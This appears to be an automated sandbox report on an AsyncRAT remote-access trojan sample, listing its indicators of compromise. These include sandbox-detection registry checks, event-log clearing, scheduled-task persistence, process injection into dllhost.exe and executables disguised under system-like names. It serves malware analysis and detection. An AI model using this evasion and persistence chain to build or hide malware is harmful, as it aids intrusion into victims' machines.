asyncrat | 1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	59d3bc9ca446bf4fcce3a93cdbce134a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	$77svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	WinUpdate.exe

Executes dropped EXE 7 IoCs

pid	Process
1404	Install.exe
5032	$77svchost.exe
4332	WinUpdate.exe
2364	kuzvch.exe
1876	qijzoj.exe
4552	zgnutm.exe
1820	TypeId.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Drops file in System32 directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\WinUpdate	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\WaitHandle\TypeId	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$77svc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\apwlj	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk	DllHost.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3668 set thread context of 1048	3668	powershell.EXE	92
PID 3532 set thread context of 4284	3532	powershell.EXE	120
PID 1820 set thread context of 220	1820	TypeId.exe	122

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	59d3bc9ca446bf4fcce3a93cdbce134a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qijzoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zgnutm.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3404	timeout.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={FD7E0FD4-25A8-47BF-931C-B1B997EC4881}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1722873209"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	59d3bc9ca446bf4fcce3a93cdbce134a.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3668	powershell.EXE
3668	powershell.EXE
3668	powershell.EXE
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
5032	$77svchost.exe
5032	$77svchost.exe
5032	$77svchost.exe
5032	$77svchost.exe
5032	$77svchost.exe
5032	$77svchost.exe
5032	$77svchost.exe
5032	$77svchost.exe
5032	$77svchost.exe
5032	$77svchost.exe
5032	$77svchost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3668	powershell.EXE
Token: SeDebugPrivilege	3668	powershell.EXE
Token: SeDebugPrivilege	1048	dllhost.exe
Token: SeDebugPrivilege	5032	$77svchost.exe
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeDebugPrivilege	4332	WinUpdate.exe
Token: SeAssignPrimaryTokenPrivilege	2016	svchost.exe
Token: SeIncreaseQuotaPrivilege	2016	svchost.exe
Token: SeSecurityPrivilege	2016	svchost.exe
Token: SeTakeOwnershipPrivilege	2016	svchost.exe
Token: SeLoadDriverPrivilege	2016	svchost.exe
Token: SeSystemtimePrivilege	2016	svchost.exe
Token: SeBackupPrivilege	2016	svchost.exe
Token: SeRestorePrivilege	2016	svchost.exe
Token: SeShutdownPrivilege	2016	svchost.exe
Token: SeSystemEnvironmentPrivilege	2016	svchost.exe
Token: SeUndockPrivilege	2016	svchost.exe
Token: SeManageVolumePrivilege	2016	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2016	svchost.exe
Token: SeIncreaseQuotaPrivilege	2016	svchost.exe
Token: SeSecurityPrivilege	2016	svchost.exe
Token: SeTakeOwnershipPrivilege	2016	svchost.exe
Token: SeLoadDriverPrivilege	2016	svchost.exe
Token: SeSystemtimePrivilege	2016	svchost.exe
Token: SeBackupPrivilege	2016	svchost.exe
Token: SeRestorePrivilege	2016	svchost.exe
Token: SeShutdownPrivilege	2016	svchost.exe
Token: SeSystemEnvironmentPrivilege	2016	svchost.exe
Token: SeUndockPrivilege	2016	svchost.exe
Token: SeManageVolumePrivilege	2016	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2016	svchost.exe
Token: SeIncreaseQuotaPrivilege	2016	svchost.exe
Token: SeSecurityPrivilege	2016	svchost.exe
Token: SeTakeOwnershipPrivilege	2016	svchost.exe
Token: SeLoadDriverPrivilege	2016	svchost.exe
Token: SeSystemtimePrivilege	2016	svchost.exe
Token: SeBackupPrivilege	2016	svchost.exe
Token: SeRestorePrivilege	2016	svchost.exe
Token: SeShutdownPrivilege	2016	svchost.exe
Token: SeSystemEnvironmentPrivilege	2016	svchost.exe
Token: SeUndockPrivilege	2016	svchost.exe
Token: SeManageVolumePrivilege	2016	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2016	svchost.exe
Token: SeIncreaseQuotaPrivilege	2016	svchost.exe
Token: SeSecurityPrivilege	2016	svchost.exe
Token: SeTakeOwnershipPrivilege	2016	svchost.exe
Token: SeLoadDriverPrivilege	2016	svchost.exe
Token: SeSystemtimePrivilege	2016	svchost.exe
Token: SeBackupPrivilege	2016	svchost.exe
Token: SeRestorePrivilege	2016	svchost.exe
Token: SeShutdownPrivilege	2016	svchost.exe
Token: SeSystemEnvironmentPrivilege	2016	svchost.exe
Token: SeUndockPrivilege	2016	svchost.exe
Token: SeManageVolumePrivilege	2016	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2016	svchost.exe
Token: SeIncreaseQuotaPrivilege	2016	svchost.exe
Token: SeSecurityPrivilege	2016	svchost.exe
Token: SeTakeOwnershipPrivilege	2016	svchost.exe
Token: SeLoadDriverPrivilege	2016	svchost.exe
Token: SeSystemtimePrivilege	2016	svchost.exe
Token: SeBackupPrivilege	2016	svchost.exe
Token: SeRestorePrivilege	2016	svchost.exe
Token: SeShutdownPrivilege	2016	svchost.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3524	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2468 wrote to memory of 1404	2468	59d3bc9ca446bf4fcce3a93cdbce134a.exe	88
PID 2468 wrote to memory of 1404	2468	59d3bc9ca446bf4fcce3a93cdbce134a.exe	88
PID 2468 wrote to memory of 1404	2468	59d3bc9ca446bf4fcce3a93cdbce134a.exe	88
PID 2468 wrote to memory of 5032	2468	59d3bc9ca446bf4fcce3a93cdbce134a.exe	89
PID 2468 wrote to memory of 5032	2468	59d3bc9ca446bf4fcce3a93cdbce134a.exe	89
PID 2468 wrote to memory of 5032	2468	59d3bc9ca446bf4fcce3a93cdbce134a.exe	89
PID 3668 wrote to memory of 1048	3668	powershell.EXE	92
PID 3668 wrote to memory of 1048	3668	powershell.EXE	92
PID 3668 wrote to memory of 1048	3668	powershell.EXE	92
PID 3668 wrote to memory of 1048	3668	powershell.EXE	92
PID 3668 wrote to memory of 1048	3668	powershell.EXE	92
PID 3668 wrote to memory of 1048	3668	powershell.EXE	92
PID 3668 wrote to memory of 1048	3668	powershell.EXE	92
PID 3668 wrote to memory of 1048	3668	powershell.EXE	92
PID 1048 wrote to memory of 600	1048	dllhost.exe	5
PID 1048 wrote to memory of 676	1048	dllhost.exe	7
PID 1048 wrote to memory of 956	1048	dllhost.exe	12
PID 1048 wrote to memory of 1020	1048	dllhost.exe	13
PID 1048 wrote to memory of 408	1048	dllhost.exe	14
PID 1048 wrote to memory of 1036	1048	dllhost.exe	16
PID 1048 wrote to memory of 1136	1048	dllhost.exe	17
PID 1048 wrote to memory of 1152	1048	dllhost.exe	18
PID 1048 wrote to memory of 1160	1048	dllhost.exe	19
PID 1048 wrote to memory of 1168	1048	dllhost.exe	20
PID 1048 wrote to memory of 1244	1048	dllhost.exe	21
PID 1048 wrote to memory of 1252	1048	dllhost.exe	22
PID 1048 wrote to memory of 1340	1048	dllhost.exe	23
PID 1048 wrote to memory of 1416	1048	dllhost.exe	24
PID 1048 wrote to memory of 1456	1048	dllhost.exe	25
PID 1048 wrote to memory of 1616	1048	dllhost.exe	26
PID 1048 wrote to memory of 1624	1048	dllhost.exe	27
PID 1048 wrote to memory of 1640	1048	dllhost.exe	28
PID 1048 wrote to memory of 1732	1048	dllhost.exe	29
PID 1048 wrote to memory of 1752	1048	dllhost.exe	30
PID 1048 wrote to memory of 1824	1048	dllhost.exe	31
PID 1048 wrote to memory of 1940	1048	dllhost.exe	32
PID 1048 wrote to memory of 1992	1048	dllhost.exe	33
PID 1048 wrote to memory of 2004	1048	dllhost.exe	34
PID 1048 wrote to memory of 2016	1048	dllhost.exe	35
PID 1048 wrote to memory of 1568	1048	dllhost.exe	36
PID 1048 wrote to memory of 1872	1048	dllhost.exe	37
PID 1048 wrote to memory of 2096	1048	dllhost.exe	38
PID 1048 wrote to memory of 2212	1048	dllhost.exe	40
PID 1048 wrote to memory of 2380	1048	dllhost.exe	41
PID 1048 wrote to memory of 2492	1048	dllhost.exe	42
PID 1048 wrote to memory of 2500	1048	dllhost.exe	43
PID 1048 wrote to memory of 2636	1048	dllhost.exe	44
PID 1048 wrote to memory of 2648	1048	dllhost.exe	45
PID 1048 wrote to memory of 2712	1048	dllhost.exe	46
PID 1048 wrote to memory of 2772	1048	dllhost.exe	47
PID 1048 wrote to memory of 2796	1048	dllhost.exe	48
PID 1048 wrote to memory of 2804	1048	dllhost.exe	49
PID 1048 wrote to memory of 2832	1048	dllhost.exe	50
PID 1048 wrote to memory of 2840	1048	dllhost.exe	51
PID 1048 wrote to memory of 2932	1048	dllhost.exe	52
PID 1048 wrote to memory of 3076	1048	dllhost.exe	53
PID 1048 wrote to memory of 3448	1048	dllhost.exe	55
PID 1048 wrote to memory of 3524	1048	dllhost.exe	56
PID 1048 wrote to memory of 3656	1048	dllhost.exe	57
PID 1048 wrote to memory of 3840	1048	dllhost.exe	58
PID 1048 wrote to memory of 3996	1048	dllhost.exe	60
PID 1048 wrote to memory of 3652	1048	dllhost.exe	62
PID 1048 wrote to memory of 3752	1048	dllhost.exe	65
PID 1048 wrote to memory of 532	1048	dllhost.exe	66

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:600
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1020
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{dfc308e9-aa8e-4d63-aa6a-c3668dfbf87e}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1048
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2ad1b976-44ef-4644-8bca-0ee4f708a3cf}
  2⤵
  PID:4284

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1036

C:\Windows\System32\svchost.exe
